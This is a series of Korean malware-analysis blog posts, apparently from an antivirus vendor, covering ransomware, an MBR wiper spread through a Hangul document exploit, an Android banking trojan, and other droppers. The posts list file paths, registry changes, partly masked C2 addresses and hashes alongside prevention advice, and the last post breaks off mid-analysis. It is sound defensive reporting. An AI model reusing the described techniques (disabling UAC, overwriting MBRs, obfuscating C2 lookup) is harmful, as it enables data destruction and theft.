랜섬웨어 악성코드는 주로 문서나 컴퓨터 시스템의 정상적인 사용을 방해하고, 대가로 금전을 요구하는 방식으로 이루어져 있다.

최근 스팸메일의 첨부파일을 통해 랜섬웨어가 유포되고 있어 사용자의 각별한 주의가 필요하다.

악성코드를 유포하는 스팸메일 중 하나를 확인해보겠다.

 

[그림 1] 메일 원본

 

첨부파일은 압축되어 있으며, 압축을 풀면 아래 파일을 확인할 수 있다. 파일의 확장자는 일반적인 실행파일의 확장자인 'EXE'가 아니다. 화면보호기 파일의 확장자인 'SCR'이다. 하지만 대부분 사용자는 윈도우 탐색기 옵션 중 '[폴더 옵션] - [알려진 파일 형식의 파일 확장명 숨기기]'를 사용하기 때문에, 파일명인 'hunkered'만 표기된다.

이 때문에 사용자는 별다른 의심 없이 파일을 실행하게 된다.

 

[그림 2] 확장자가 보이지 않는 상태(좌) / 확장자가 보이는 상태(우)

 

파일 'hunkered.scr'을 실행하면, 문서파일이 사용자에게 보여진다.

 

[그림 3] 문서의 내용

 

실행된 파일은 단순한 문서파일이다. 그러나 파일 실행과 동시에 또 다른 악성파일을 생성하며, 외부 네트워크에 연결을 시도한다.

 

[생성되는 파일]

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\hunkered.rtf    

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\12200593.exe (랜덤 파일명)

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\qgkhcub.exe

[표 1] 생성되는 파일

 

외부 네트워크 연결]

157.56.96.56:80 → windowsupdate.microsoft.com

2**.1**.3*.1**:443

1**.9*.*.7:443

2**.1**.3*.1*:443[

2**.1**.3*.3:443

46.19.37.108:80 → ip.telize.com

1**.*5.3*.5:443

1**.15*.1**.7*:443

7*.*3.*7.*4:9090

1*.*9.*6.*2:443

1*.*1.*6.*6:443

1*.1*.1*.*2:443

8*.*9.**.*8:443

[표 2] 외부 네트워크 연결

 

네트워크 연결을 시도하는 IP 중 일부는 Tor 네트워크로 접속을 시도한다. 이는 Tor 네트워크 특성 상 추적이 힘든 점을 이용한 것으로, 공격자가 사용자의 정보 수집 시 이용하는 것으로 추정된다.

 

생성하는 파일 '12200593.exe (랜덤 파일명)'과 'qgkhcub.ex'e'는 같은 파일이며, 파일 'qgkhcub.exe'이 시스템에 존재하는 파일을 암호화한다.

 

파일 'qgkhcub.exe'이 실행되면 다음과 같이 사용자에게 파일이 암호화된 사실과 복호화하는 방법을 바탕화면 및 경고 팝업창을 통해 알린다.

 

[그림 4] 변경된 바탕화면

 

[그림 5] 사용자에게 띄워주는 경고 팝업창

 

악성코드에 의해 아래 확장자 파일을 모두 암호화 시키며, 암호화하는 파일 확장자를 살펴보면 아래와 같다.

 

[암호화 대상 파일 확장자]

.AI, .C, .CDR, .CER, .CRT, .DBF, .DER, .DOC, .DOCM, .DOCX, .EPS, .JPEG, .JPG, .JS, .MDB, .P12, .PAS,
.PDF, .PFX, .PHP, .PL, .PPT, .PPTX, .PST, .PY, .RTF, .SQL, .TXT, .XLK, .XLS, .XLSM, .XLSX, etc

[표 3] 암호화 대상 파일 확장자

 

암호화 대상 파일 확장자에는 '공인 인증서 관련 파일, 그림 파일, 문서 파일, 아웃룩 데이터 백업 파일' 등 사용자들이 자주 사용하는 것들이 주를 이루고 있다. 이 때문에 랜섬웨어에 감염된 사용자들은 많은 불편을 겪는다.

또한, 이전의 랜섬웨어와 동일하게 사용자에게 테스트로 암호화된 파일을 복호화하는 기능을 제공하며, 이를 통해 사용자에게 결제를 유도한다.

 

[그림 6] 사용자의 결제를 유도하는 메시지

 

암호화되는 파일들은 아래 [그림 7]와 같이 확장자 뒤에 랜덤문자열로 구성된 문자가 추가된다.

 

[그림 7] 암호화되어 확장자가 변경된 파일

 

이후 파일 복호화를 위해 진행하면 다음과 같이 비트코인 결제를 안내한다.

 

[그림 8] 비트코인 결제방법 안내

 

하지만, 여기서 알아야 할 것은 결제를 하더라도 파일 복구가 될 가능성은 적다는 것이다.

 

그렇다면, 랜섬웨어에 감염되지 않으려면 어떻게 해야 하는 걸까?

 

랜섬웨어는 보통 메일을 통해 유포되는 경우가 많다. 그러므로 출처가 확인되지 않은 메일의 첨부 파일의 실행은 하지 말아야 한다. 또한, 메일의 내용을 읽어서 스팸 메일 여부에도 주의를 기울여야 한다.

일반 사용자들은 Windows 폴더 옵션 항목 중 "알려진 파일 형식의 파일 확장명 숨기기" 기능을 사용하고 있는 경우가 많다. 이 기능을 사용하게 되면 문서 파일과 일반적인 프로그램 파일로 위장한 실행 파일 및 화면보호기 파일을 한눈에 구별하기 힘들다. 해당 기능을 해제하면, 확장자를 혼동하여 악성코드를 실행하는 사례가 줄어들게 될 것이다.

랜섬웨어의 경우 한번 암호화가 되었을 때는 안티 바이러스 프로그램에서는 복구가 불가능하므로 주기적으로 문서 및 중요 자료들을 별도의 저장장치에 백업해두는 습관이 필요하다. 자료들을 백업해두면 악성코드에 의해 자료가 손상되거나 삭제가 된 경우 복구를 할 수 있기 때문이다.

 

V3 제품에서는 아래와 같이 진단 가능하다.

 

<V3 제품군의 진단명>

Trojan/Win32.Agent (2015.01.20.04)

Trojan/Win32.CTBLocker (2015.01.21.04)

Trojan/Win32.Ransom (2015.01.20.04)


저작자 표시 비영리 동일 조건 변경 허락
신고
Creative Commons License
Creative Commons License
Posted by DH, L@@

Your computer was automatically blocked

 

작년부터 악명을 떨친 랜섬웨어는 크립토락커(CryptoLocker)와 크립토월(CryptoWall)이 있다. 이러한 랜섬웨어는 시스템 내부의 특정 파일을 암호화한 후 암호화 해제를 빌미로 돈을 요구한다. 하지만 최근 사용자에게 몸값을 요구하는 새로운 악성코드가 발견되었다.

 

이 악성코드는 국가안보국(National security bureau, NSB)으로 가장하여 사용자에게 경고 메시지 표기 및 시스템 사용을 방해한다. 이를 해결하기 위해서 미화 250달러를 입금하도록 유도하고 있다.

 

해당 악성코드에 감염되면, 아래 [그림 1]와 같은 화면이 나타나면서 "불법 소프트웨어가 탐지되어, 시스템을 사용을 차단하였습니다."는 메시지를 화면에 보여준다. 또한, 다른 프로그램의 실행을 방해하고, 메시지를 강제로 종료하여도 자동으로 다시 실행되므로 사용자는 시스템을 정상적으로 사용할 수 없다.

 

[그림 1] 감염 시 시스템에 표기되는 메시지

 

 

악성코드에 감염되면 아래 경로에 악성파일을 숨김속성으로 생성한다. 생성된 악성파일은 시작프로그램에 등록되어 시스템이 시작할 때 자동실행된다.

 

C:\Documents and settings\All Users\CEloogwA\

C:\Documents and settings\Administrator\AlAcUMcc\

[표 1] 악성파일 생성 경로

 

또한, 악성파일의 은폐를 목적으로 다음과 같이 레지스트리 값을 수정한다.

 

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\EnableLUA

사용자 계정 컨트롤 설정을 사용하지 않도록 변경

 

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt

알려진 파일의 확장자가 보이지 않게 변경

 

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden

탐색기 폴더 옵션의 "숨김폴더 표시 안함"으로 변경

[표 2] 수정된 레지스트리 경로

 

이후, 'C:\Documents and Settings' 경로 내부에 존재하는 파일(ppt, jpg, doc, png, exe, wav 등)을 감염시킨다. 감염 방식은, 시스템의 루트(C:\) 경로에 정상파일의 바이너리를 복사한 후 악성코드에 삽입하는 방법으로 진행된다.

 

감염된 파일들은 모두 실행파일(exe) 형태로 변경되며, 감염 시 정상파일에서 아이콘을 추출해 변조된 파일에 삽입시키기 때문에 외관상의 모습으로는 감염 여부를 구분하기 어렵다.

 

[그림 2] 감염 전 파일(좌) / 감염 후 파일(우)

 

위 그림은 악성코드 감염 전과 감염 후의 파일의 비교를 위한 그림이다. 보다 쉬운 이해를 위해 그림에서는 감염된 파일의 확장자를 보이게 설정하였다. 그러나 실제로 악성코드에 감염될 경우 확장자 '.exe'는 보이지 않는다.

 

 

[그림 3] 감염된 파일의 프로세스 트리

 

이처럼 감염된 파일은 파일명과 아이콘이 정상파일과 동일하게 위장하고 있다. 하지만, 악성파일의 실행이 선행되도록 조작되어있다. 그렇기 때문에 실행 시 위 [그림 3]와 같은 비정상적인 프로세스 트리를 가지게 된다.

 

[그림 4] 악성코드 내에 정상파일 실행 부분

 

감염된 파일을 실행하면, 악성코드를 생성/실행 하고 정상 파일을 temp 경로에 생성한 후 악성코드의 실행 시 인자 값으로 정상파일의 경로를 줌으로써, 악성코드의 자식프로세스로 실행되도록 만든다.

 

해당 악성코드는 국가안보국으로 가장하여 시스템의 가용성을 인질로 돈을 요구하고 있다. 파일들이 감염되는 과정에서 파일을 암호화하지는 않지만, 정상파일의 바이너리가 손상될 경우 정상 파일을 복구할 수 없을 수도 있기 때문에 사용자의 각별한 주의가 필요하다.

 

V3 제품에서는 아래와 같이 진단이 가능하다.

 

<V3 제품군의 진단명>

 

Trojan/Win32.Agent (2014.12.16.03)

Trojan/Win32.Agent (2014.12.16.03)

Trojan/Win32.Dynamer (2014.12.12.02)

저작자 표시 비영리 동일 조건 변경 허락
신고
Creative Commons License
Creative Commons License
Posted by DH, L@@

최근 접수되는 취약점 한글 문서파일에서 기존에 존재했던 백도어 기능외에 주요 확장자 파일들에 대한 파괴 및 MBR 파괴기능을 갖는 파일이 접수되어 주의가 필요하다.

2014년 12월 9일 최초 접수된 취약점 한글 문서파일들은 모두 기 알려진 취약점을 이용하였으며, 최신 패치적용제품에서는 동작하지 않는다. 총 9개의 문서파일이 접수되었으며, 모두 동일한 악성파일을 내부에 포함하고 있다.

 

1. 생성하는 파일 및 서비스

%system% 폴더에 생성된 DLL을 서비스로 등록/구동 시, 사용하는 정보는 악성코드 내부에 목록으로 가지고 있으며, 아래의 항목 중 하나를 랜덤하게 선택한다.

 

[서비스 이름]

- BitLocker Drive Decryption Service
- Internet Connection Service
- Media Center Service
- Network Storage Service
- Peer Networking Address
- PNRP Machine Name
- Power Policy
- Program Compatibility Service
- Remote Registry Configuration
- Smart Card Management Service
- Tablet PC Management Service
- Task Schedule Manager
- Thread Ordering Service
- WebClient Manage Service
- Windows Color Adjustment
- Windows Modules Management
- Windows Time Synchronization
- Wired Config Service
- WLAN Config Service
- Workstation management

 

[생성 파일명]

- bddsvc.dll
- iconsvc.dll
- ehressvc.dll
- netstsvc.dll
- pnas.dll
- pnrpmchname.dll
- pwpsvc.dll
- pcssvc.dll
- rregconf.dll
- scardmngsvc.dll
- tcpmsvc.dll
- tschmng.dll
- mmthread.dll
- wcmngsvc.dll
- coladj.dll
- wndmodmng.dll
- timesyncsvc.dll
- wiredconfsvc.dll
- wlanconf.dll
- wstmng.dll

 

[서비스 설명]

- BDESVC hosts the BitLocker Drive Decryption service.
- Provides network address translation, addressing, name resolution and/or intrusion prevention services for a home or small office network.
- Allows Media Center to locate and connect to the computer.
- This service delivers network notifications (e.
- Enables multi-party communication using Peer-to-Peer Connecting.
- This service publishes a machine name using the Peer Name Resolution Protocol.
- Manages power policy and power policy notification delivery.
- This service provides support for the Program Compatibility Assistant (PCA).
- Enables remote users to modify registry configurations on this computer.
- Manages access to smart cards read by this computer.
- Enables Tablet PC pen and ink functionality
- Enables a user to configure and schedule automated tasks on this computer.
- Provides ordered execution for a group of threads within a specific period of time.
- Enables Windows-based programs to create, access, and modify Internet-based files.
- The WcasPlugInService service hosts third-party Windows Color System color device model and gamut map model plug-in modules.
- Enables installation, modification, and removal of Windows updates and optional components.
- Maintains date and time synchronization on all clients and servers in the network.
- The Wired AutoConfig (DOT3SVC) service is responsible for performing IEEE 802.1X
- The WLANSVC service provides the logic required to configure, discover, connect to, and disconnect from a wireless local area network.
- Creates and maintains client network connections to remote server using the SMB protocol

 

2. MBR 파괴시간


MBR 파괴는 아래의 레지스트리 키값의 'number' 항목의 값 체크('0' 보다 큰 값인 경우 파괴동작)를 통해 이루어지며, 최초감염 시 '0' 값으로 설정된다. 아래의 [그림-1]은 악성코드가 등록한 레지스트리 키 'PcaSvcc' 항목의 내용을 나타낸다. MBR 파괴 동작 여부를 결정하는 number 항목의 값은 사용자 시스템의 시간정보를 통해 2014년 12월 10일 오전 11시 이후가 되면, '0'이 아닌 값으로 설정되며, MBR 파괴기능이 동작하도록 되어있다.

[그림-1] MBR 파괴 시, 참조하는 레지스트리 값

아래의 [그림-2]는 악성코드 내부에 MBR 파괴를 결정하는 시간정보를 비교하는 코드부분을 나타낸다. 악성코드 내부에 저장된 "0x780D0C33" 값과 GetLocalTime 함수 호출을 통해 얻은 시스템 시간과의 특정 연산을 통해 시간정보를 비교하는 작업이 이루어짐을 알 수 있다.

[그림-2] MBR 파괴시간 비교하는 코드

 

3. MBR 파괴기법

MBR 파괴는 0x200(512바이트) 크기에 대해 덮어쓰게되며, 아래의 [그림-3]과 같은 데이터로 채워짐을 알 수 있다. 감염 시, 'A'~'Z' 모든 드라이브에 대해 동일한 과정이 반복된다.

[그림-3] MBR 데이터

아래의 [그림-4]는 덮어쓴 MBR 코드의 내용으로, 부팅 시 "Who Am I?"라는 문자열을 출력하는 기능을 갖는다.

[그림-4] MBR 코드

아래의 [그림-5]는 MBR 감염 후, 재부팅 시 사용자에게 보여지는 화면을 나타낸다.

[그림-5] 부팅 화면

 

4. 파일 파괴기능

악성코드는 MBR 에 대한 파괴기능 외에 특정 확장자를 갖는 파일들에 대한 파괴기능도 함께 갖고있다. 현재까지 확인된 파괴대상 파일들은 다음과 같다.

- hwp
- doc
- pdf
- docx
- alz
- zip
- rar
- egg
- iso
- exe
- dll
- sys

'A'~'Z' 드라이브의 위 확장자를 갖는 파일들을 찾아 4096 바이트(4K) 크기로 변경 및 NULL 값으로 채우는 과정을 수행한다.

 

5. 한글 취약점 내용

접수된 9개의 취약점 한글문서는 문서의 내용은 다르나 모두 동일한 취약점을 사용하였다. 아래의 [그림-6]은 취약점을 발생시키는 부분 및 동작하는 쉘코드 중 일부를 나타낸다. 한글문서에서 문단의 레이아웃('HWPTAG_PARA_LINE_SEG')을 담당하는 부분을 처리하는 과정에서 취약점이 발생하며, 쉘코드(ShellCode) 삽입 및 힙스프레이(Heap Spray)를 위해 문단의 텍스트('HWPTAG_PARA_TEXT')가 이용되었다.

[그림-6] 한글 취약점 발생부분

 

6. 관련 파일들

현재까지 확인된 취약점 한글파일 및 생성하는 악성파일들에 대한 MD5 및 V3 진단내용은 다음과 같다.

- 54783422cfd7029a26a3f3f5e9087d8a (V3: HWP/Exploit, 2014.12.10.06)
- b5b6e93ab27cec75f07af2a3a6a40926 (V3: HWP/Exploit, 2014.12.10.02)
- 800866bbab514657969996210bcf727b (V3: HWP/Exploit, 2014.12.10.02)
- ead682b889218979b1f2f1527227af9b (V3: HWP/Exploit, 2014.12.10.02)
- f09ea2a841114121f32211faac553e1b (V3: HWP/Exploit, 2014.12.09.06)
- 9daf088fe4c9a9580216e98dbb7d1fca (V3: HWP/Exploit, 2014.12.09.06)
- 3ec69ee7135272e5bed3ea5378ade6ee (V3: HWP/Exploit, 2014.12.11.05)
- 33874577bf54d3c209925c9def880eb9 (V3: HWP/Exploit, 2014.12.11.05)
- af792a34548a2038f034ea9a6ff0639a (V3: HWP/Exploit, 2014.12.11.05)
- 3BA8A6815F828DFC518A0BDBD27BBA5B (V3: Trojan/Win32.Destroyer, 2014.12.10.00)

 

7. 대응방안

악성코드 감염을 막기위해서는 항상 한글 프로그램 및 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 필요하다. 또한, 취약점 한글문서파일은 모두 특정인에게 이메일의 첨부파일 형태로 유포된 것으로 확인되었다. 불명확한 발신인 혹은 확인되지 않은 첨부파일의 경우, 실행 전에 보안에 문제가 없는 지 확인하는 과정이 필요하다.

 

 

 

신고
Creative Commons License
Creative Commons License
Posted by yhayoung

최근 금융 관련 사고가 증가하면서 사람들의 관심이 집중되고 있다. 모바일도 예외는 아니다. 대부분의 스마트폰 사용자는 '스미싱'이 무엇인지 설명하지 않아도 알고 있을 정도이다. 그만큼 피해가 생활에 밀접하게 다가와 있음을 방증하는 것이다.

 

악성코드 제작자는 각종 사회적 이슈를 이용하여, 악성코드를 배포하는데, 이번에는 '아이폰6' 소유 욕구를 자극하고 있었다. 안드로이드 기반의 스마트폰 사용자를 '아이폰6'로 유혹한다? 물론 실제로 아이폰6를 주는 것은 아니지만, 안드로이드 사용자가 아이폰으로 바꾼다면, 악성코드 제작 그룹은 이제 '스미싱' 을 어떻게 하겠다는 것일까?

 

서론은 여기까지 하고, 본론으로 들어가겠다.

 

'아이폰6 이벤트' 메시지에 포함된 링크로 접근하면, 악성 앱(apk)이 업로드된 페이지로 연결된다. 해당 앱을 다운로드 하여 설치하면, 크롬으로 위장한 아이콘을 볼 수 있다.


[그림 1] '스미싱'을 통한 악성 앱 설치 과정

 

악성 앱을 설치하면 크롬으로 위장한 아이콘이 생성된다. 해당 앱을 실행하면, 아이콘은 사라지고, 휴대폰 관리자 활성화를 요구한다.

 

[그림 2] 악성 앱의 아이콘 및 휴대폰 관지자 활성화

 

악성 앱의 Classes.dex 에는 직접적으로 악의적인 코드를 넣지 않았다. 대신 p.dex 파일을 로드하여 악의적인 코드를 실행한다.

 


[그림 3] classes.dex 코드

 

p.dex 파일은 악성 앱(apk) 파일의 'assets' 에 존재한다.

 


[그림 4] 악성 앱 구조

 

p.dex의 주요 기능은 아래와 같다.

 

스마트폰에 설치된 뱅킹 앱 정보 수집 => 정상 뱅킹 앱 제거 유도 => 제거된 정상 앱을 사칭한 악성 뱅킹 앱 설치 유도

 

악성 앱은 "새로운 버전이 출시되었습니다." 메시지와 함께 기존에 설치된 정상 앱을 제거하도록 유도한다.

 


[그림 5] 정상 앱 제거 과정

 

아래 패키지명과 일치하는 앱이 설치되어 있는지 확인하고, 제거하도록 유도한다.

 

"com.wooribank.pib.smart",

"com.kbstar.kbbank",

"com.ibk.neobanking",

"com.sc.danb.scbankapp",

"com.shinhan.sbanking",

"com.hanabank.ebk.channel.android.hananbank",

"nh.smart",

"com.epost.psf.sdsi",

"com.kftc.kjbsmb",

"com.smg.spbs"

[표 1] target 뱅킹 앱 리스트

 

스마트폰에 설치된 정상 뱅킹 앱을 제거를 유도하고, 제거한 정상 앱으로 위장한 악성 앱을 아래의 패키지명으로 설치하도록 유도한다.

 

"com.cash.apc.woori.kr.android.apd",

"com.kr.androids.kbstar.kbbankings.app",

"com.ibk.korea.kr.androids.ibkbanking",

"com.goog.sc.android.dadbdkr.scbankapp",

"com.android.google.shinhanbbk.kr.app",

"com.hana.google.kr.channel.korea.app",

"com.we.google.nhb.kr.bk.app",

"com.android.post.fsps.kr.wu.sdsi",

"com.kr.android.ftkc.kjb.kjbsmb.app",

"com.androids.kr.kf.androids.sm.spb"

[표 2] target 뱅킹 앱을 사칭한 악성 앱 리스트

 

은행별 다운로드 되는 링크는 아래의 코드 조합으로 이루어진다.

 


[그림 6] target 뱅킹 앱 리스트 & 추가 악성 앱 다운로드 코드

 

은행별로 코드를 조합하면 아래와 같은 주소에서 악성 앱을 다운로드 하게 된다.

 

http://******.****.net:6545/com.cash.apc.woori.kr.android.apd.apk

http://******.****.net:6545/com.kr.androids.kbstar.kbbankings.app.apk

http://******.****.net:6545/com.ibk.korea.kr.androids.ibkbanking.apk

http://******.****.net:6545/com.goog.sc.android.dadbdkr.scbankapp.apk

http://******.****.net:6545/com.android.google.shinhanbbk.kr.app.apk

http://******.****.net:6545/com.hana.google.kr.channel.korea.app.apk

http://******.****.net:6545/com.we.google.nhb.kr.bk.app.apk

http://******.****.net:6545/com.android.post.fsps.kr.wu.sdsi.apk

http://******.****.net:6545/com.kr.android.ftkc.kjb.kjbsmb.app.apk

http://******.****.net:6545/com.androids.kr.kf.androids.sm.spb.apk

[표 3] 추가로 다운로드하는 악성 뱅킹 앱

 

실제로 정상 앱이 제거되고, 악성 앱이 설치되는 과정은 아래와 같다.

 


[그림 7] 정상 앱 제거 및 정상 앱으로 위장한 악성 앱 설치 과정

 

악성 앱이 설치되면, 스마트폰의 공인인증서 및 금융 정보를 탈취한다.

 


[그림 8] 악성 앱에 의한 금융 정보 탈취

 

이러한 악성 앱들은 분석가의 분석시간을 오래 걸리게 하려는 방법으로 사용하거나, 자신이 만든 서버의 생명주기를 연장하기 위한 수단으로 코드를 난독화 한다. 이 악성 앱에서는 탈취한 정보를 전송하는 서버주소를 파악하기 어렵게 난독화 하였다. 사용한 방법을 살펴보면 아래와 같다. 아래 코드는 3개의 클래스에 나뉘어 있는 코드들이다. 이 3개의 코드를 조합하고 계산해야만 접근하는 주소를 알 수 있다.


[그림 9] 서버 주소의 난독화

 

계산 방법은 간단하다.

 

우선, 1.class의 "012017006020095000 ~중략~ 010001016016027010088" 값을 3.class 의 xor 함수 계산과 2.class 의 값을 조합하면, 접근하는 페이지의 주소를 알 수 있다. 값을 계산하면 아래와 같은 주소를 알 수 있다.

 

http://*.*****.com/profile?hostuin=28*****449

[표 4] XOR + 코드 조합의 계산 결과

 

해당 주소로 접근하여 IP주소를 받아온다.


[그림 10] QQ블로그의 IP주소

 

XXX!.XXX!XXX!XXX! 와 같은 형식의 IP주소를 받아오면, 치환 코드를 이용해 문자열을 변환하고, XOR 계산을 통해 얻은 값과 조합하여 또 다른 주소를 반환한다.

 


[그림 11] IP주소의 치환 및 XOR 과정

 

주소를 계산하는 과정을 정리하면, 문자열 => XOR 계산 + 코드 조합 => QQ블로그 접속 => IP주소 획득(가변) => IP주소 치환 + 문자열 XOR + 코드 조합 => 서버주소 완성 => 탈취한 금융 정보 전송!

 

이러한 과정을 거쳐 최종적으로 아래의 서버주소로 탈취한 정보를 전송한다.

 

126.**.***.**7/****/****/cers.php

[표 5] 악성 앱에 의해 탈취된 정보를 수집하는 서버주소

 

하지만 위에서 살펴본 것처럼 서버주소는 제작자에 의하여 수시로 변경이 가능하도록 설계되었다. 이 분석정보를 작성하는 중간에도 주소가 변경된 것으로 보아, 제작자는 활발히 활동하는 것으로 추정된다.

 

QQ 블로그를 이용한 악성코드는 Windows 기반의 banki 류 에서 hosts 파일을 변조할 때 자주 이용되는 방식이었다. Windows에서 사용하는 악성코드의 배포 방법과 정보 수집 방식들을 모바일에서 적용하는 사례가 증가하고 있다.

 

V3 제품에서는 아래와 같이 진단이 가능하다

 

<V3 제품군의 진단명>

 

 

 

 

 

저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by DH, L@@

"V3 Lite를 최신 버전으로 업그레이드 하세요!"

 

최근 아래와 같이 'AhnLab'을 사칭한 메일이 전송되었다.

 

[그림 1] AhnLab을 사칭한 이메일

 

V3 Lite 업그레이드 권고를 알리는 메일 내용과 더불어 관련 파일이 첨부됐으며, 해당 파일은

Windows 폴더 아이콘으로 위장한 'EXE' 실행 파일이었다.

 

[그림 2] 폴더로 가장한 EXE 실행 파일

 

"알려진 파일 형식의 파일 확장명 숨기기" 기능이 활성화된 Windows 사용자라면 아무런 의심 없이 해당 악성 코드를 실행할 것이며, 필자 또한 폴더 아이콘에 무작정 마우스가 움직였다.

 

악성 코드가 실행되면 'C:\Documents and Settings\[사용자계정]\Local Settings\Application Data'경로에 'local.exe' 파일을 생성하며, 해당 악성 코드가 위치한 경로 내 파일명(V3Lite설치방법 및 제품번호 Ver3.1976.331.25)과 같은 폴더를 생성한다.

 

악성 코드가 생성한 폴더는 자동으로 FullScreen 상태로 열리며, 사용자가 악성 코드를 실행했다는 걸 눈치 못 채게 하는 치밀함을 보인다. 생성된 폴더 내에는 V3 Lite UI 캡처 이미지 파일과 Serial Number가 기재된 텍스트 파일이 존재한다.

 

[그림 3] 악성 코드 실행 시 생성되는 폴더 내 파일들

 

악성 코드는 추가로 생성한 '_selfmove.bat'의 batch 명령어를 통해 'C:\Documents and Settings\[사용자계정]\Local Settings\Application Data' 경로 내에 'testmove.pdf'로 복제된 뒤, 자가 삭제된다.

 

이후 해당 악성코드는 추가적인 행위를 보이진 않지만, 추가 생성됐던 'local.exe' 악성 코드를 통해 특정 URL과 통신할 것으로 추정할 수 있다.

 

[그림 4] 'local.exe'가 통신할 것으로 추정되는 특정 URL

 

'local.exe' 악성코드가 통신할 C&C로 추정되는 서버는 현재 존재하지 않기 때문에, 정확한 악성 행위는 파악할 수 없으나, 해당 주소로부터 추가적인 악성 코드를 다운로드 할 것으로 예상한다.

 

'local.exe'가 연결을 시도하는 특정 URL은 아래와 같다.

 

hxxp://d.ahn*****.com/***/update2014.php

hxxp://d.ahn*****.com/***/download2014.htm

hxxp://d.ahn*****.com/***/DownLoadSuccess.php

hxxp://d.ahn*****.com/***/DownLoadFail.php

hxxp://d.ahn*****.com/***/ExeFail.php

[표 1] 'local.exe'가 연결을 시도하는 URL

 

첨부된 파일의 궁금증을 유발시키는 메일 문구를 통해 무심코 사용자가 첨부 파일을 다운 및 실행 유도하는 악성 코드 유포방식은 지난 10월부터 시스템 정보를 탈취하는 악성 코드로 이슈화된 'my new photo :)' 스팸 메일의 경우와 유사하다.

 

[그림 5] 악성 코드를 첨부 한 'my new photo' 스팸 메일

 

출처가 불분명한 메일의 첨부파일은 각별한 주의가 요구된다.

 

V3 제품에서는 아래와 같이 진단하고 있다.

 

<V3 제품군의 진단명>

 

Dropper/Win32.Agent (2014.11.21.04)

Trojan/Win32.Agent (2014.11.22.01)

저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by DH, L@@

 "어디서나 내 자료와 함께하세요." 라는 문구처럼, 드롭박스를 이용하면 클라우드에 저장해놓은 자료를 언제 어디서나 열어보고, 편집하여 저장할 수 있다. 파일의 동기화와 기기 간의 공유가 쉬워 드롭박스의 이용자는 꾸준히 증가하고 있다. 올해 드롭박스 사용자가 3억 명을 넘었으며, 드롭박스 앱은 미국의 직장인들이 가장 애용하는 앱 2위에 꼽히기도 했다. 한국에서도 많이 사용되고 있는 클라우드 서비스 중 하나다.

 

[그림 1] 드롭박스 홈페이지 메인

 

 사용자는 드롭박스에 파일을 올려놓고, 드롭박스 링크를 통해 다른 사용자에게 올려놓은 파일을 공유할 수도 있다. 블로그에 게임, 유틸리티를 다운로드 할 수 있는 드롭박스 링크가 공개됐다. 하지만 사용자가 다운로드 한 파일은 정상파일을 위장한 악성코드이다. 공유가 쉽다는 클라우드 서비스의 장점을 이용하여 다수의 사용자에게 악성코드를 유포한 셈이다.

 

[그림 2] 블로그에서 공유된 드롭박스 링크

 

 작성자는 블로그에 게임과 유틸리티를 자세히 소개하고, 해당 파일을 다운로드 할 수 있는 드롭박스 링크를 공유했다. 각각의 포스팅은 10월 17일, 11월 8일 작성되었으며, 분석 당시(11월 26일)까지도 악성코드가 유포 중이다.

 


[그림 3] 드롭박스 파일 다운로드

 

 블로그에서 스카이프 유틸이라 소개한 파일은 악성코드이다. 유명 게임이나 유틸리티로 사용자들의 관심을 끌고, 드롭박스를 이용하여 다수에게 악성코드를 유포하였다.

 


[그림 4] 스카이프 유틸.exe


 드롭박스 링크를 통해 다운로드 된 '스카이프 유틸.exe'를 압축 해제하면 '스카이프 유틸.exe'와 'Server.exe' 2개의 파일임을 알 수 있다.

 

 악성코드는 파일 생성, 레지스트리 수정, 네트워크 연결 등 악성 행위를 한다.

 

[파일 생성 정보]

 

Server.exe

CREATE

C:\Windows\system32\swwawo.exe

[표 1] 파일 생성 정보

 

'Server.exe'는 자기 자신과 같은 파일을 system32 경로에 생성하였다. 악성코드는 system32 경로에 존재하는 경우가 많다. 이는 system32 경로에는 다수의 파일이 있어 악성코드를 인지하기 어렵고 대부분 사용자가 정상파일 경로라고 인지하기 때문이다.

 

[레지스트리 등록]

 

HKLM\SYSTEM\ControlSet001\Services\Nationaliwn

"ImagePath" = "C:\WINDOWS\system32\swwawo.exe"

"DisplayName" = "Nationalaqt Instruments Domain Service"

"Description" = "Provideseis a domain server for NI security."

"ObjectName" = "LocalSystem"

[표 2] 레지스트리 등록

 생성된 악성파일이 시스템 재시작 시에도 반복 실행할 수 있도록 레지스트리 값을 수정하여 Nationaliwn 라는 이름의 서비스를 등록한다.


[그림 5] 등록된 서비스 속성

 

악성코드는 아래 IP와 네트워크 연결을 한다.

 

[네트워크 연결]

 

1**.**3.**3.* (8080)

 

[표 3] 네트워크 연결

 

 

 

 악성코드 유포자는 드롭박스로 쉽게 파일을 공유할 수 있다는 점을 악용하여 악성코드를 유포했다. 클라우드 서비스의 사용자가 늘어나고, 이를 통한 파일 공유는 더욱더 활성화될 것이다. 따라서 드롭박스 링크로 유포되는 악성코드의 사례 또한 증가할 것으로 예상된다. 사용자는 클라우드 서비스를 이용하여 파일 다운로드 시, 공유된 파일이 악성코드 일 수 있다는 경각심을 가지고 주의해야 한다.



저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by DH, L@@

2014년 11월 11일 발견된 "Isass.exe" 라는 이름의 악성코드는 감염 시, "rar.exe" 라는 정상 압축 프로그램을 이용하여 시스템의 중요한 파일들을 찾아 압축 후, 공격자에게 전송하는 기능을 수행한다. 국내에 감염이 최초 확인된 것은 2013년 8월로 당시에는 취약한 문서파일 통해 최초 감염이 이루어졌다. 하지만, 최근 발견된 샘플은 아직 정확한 감염경로를 확인하지 못한 상태이다. 악성코드의 동작과정을 살펴보면 특정 사이트로 부터 [1] "rar.exe" 파일에 대한 다운로드가 이루어지며, [2] "ebgEC50.bat" 파일생성을 통한 중요파일들 압축을 수행하고, [3] 최종 압축한 파일("NETUSER.001")을 공격자에게 전송의 과정으로 이루어진다.

 

 

 [1] "rar.exe" 파일 다운로드

 

악성코드는 아래의 %TEMP% 폴더에 "rar.exe" 라는 파일의 존재여부를 체크한다. 만약, 해당 파일이 존재하지 않을 경우, 특정 사이트로 접속하여 "rar.exe" 를 다운로드 시도하며 이미 존재할 경우, 다운로드 과정을 생략한다.

 

